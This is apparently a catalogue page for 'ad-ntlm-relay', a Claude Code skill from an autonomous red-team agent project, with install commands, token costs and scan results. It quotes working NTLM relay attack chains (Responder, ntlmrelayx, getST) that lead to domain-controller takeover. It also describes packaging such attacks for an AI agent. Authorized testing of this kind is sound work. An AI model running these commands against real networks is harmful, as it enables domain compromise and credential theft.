ad-ntlm-relay

ad-ntlm-relay is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 86 tokens per session (1,443 once invoked), scanned B, original, Apache-2.0.

A guide to NTLM relay attacks, where captured Windows authentication is forwarded to another service to gain access or change permissions.

In plain words
What is it for?
It covers relaying authentication to LDAP, SMB, HTTP, MSSQL, IMAP, and Exchange services for outcomes such as code execution, mailbox access, certificates, or directory changes.
Why use it?
It helps select relay targets and understand requirements such as SMB signing and available privileges.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit It covers relaying authentication to LDAP, SMB, HTTP, MSSQL, IMAP, and Exchange services for outcomes such as code execution, mailbox access, certificates, or directory changes.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/ntlm-relay
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill ntlm-relay
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ad-ntlm-relay

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/ntlm-relay/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/ntlm-relay)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/ntlm-relay"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/ntlm-relay/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ad-ntlm-relay

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/ntlm-relay"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/ntlm-relay.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 86 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,443 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 6 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 37
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • medium Privilege Escalation · line 44
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
  • medium Privilege Escalation · line 57
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
  • medium Privilege Escalation · line 60
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
  • medium Privilege Escalation · line 66
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
  • medium Privilege Escalation · line 76
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00086 $0.01443
Opus 5 $0.00043 $0.00722
Sonnet 5 $0.00017 $0.00289
Haiku 4.5 $0.00009 $0.00144

Measured 8d ago against content hash e410c8b8b93f, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade B, and why

ad-ntlm-relay scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md · 122 lines

How it starts

The opening of the file, as written. The whole thing — 122 lines — stays where its author put it; the contents beside it link to each section on GitHub.

NTLM Relay Deep Dive

You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.

Target selection matrix

Target protocol Outcome Requires
LDAP / LDAPS to a DC Add user to Domain Admins, RBCD, modify ACL Victim is local admin OR LDAPS allows signing
SMB to a workstation Code exec on that workstation SMB signing OFF on target (servers often have it ON)
HTTP /certsrv/ (ADCS) Cert for victim — auth as them ADCS Web Enrollment enabled
MSSQL Database access; xp_cmdshell if linked Victim has DB privs
IMAP (Exchange) Mailbox access Victim has mailbox
HTTP /EWS (Exchange) Mailbox + autodiscover EWS reachable
LDAPS to DC for shadow creds Set msDS-KeyCredentialLink on a victim LDAPS + WriteProperty

SMB signing — the key constraint

Target Default SMB signing
DC REQUIRED (signing on, must verify) — can't relay SMB to DC
Domain workstations NOT REQUIRED (off by default) — can relay
File servers usually REQUIRED
Linux Samba varies

Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.

Most useful chains

Coerce → relay to LDAP → RBCD attack

# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover

Coerce → relay to ADCS → DA cert

See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.

Responder → relay to LDAP for Shadow Credentials

sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy

Read the full file on GitHub · 122 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 122 lines · 86 tokens per session scan B e410c8b8b93f

Subscribe to this mod's changes

ad-ntlm-relay is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 12d ago), licensed Apache-2.0. It adds 86 tokens to every session and 1,443 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.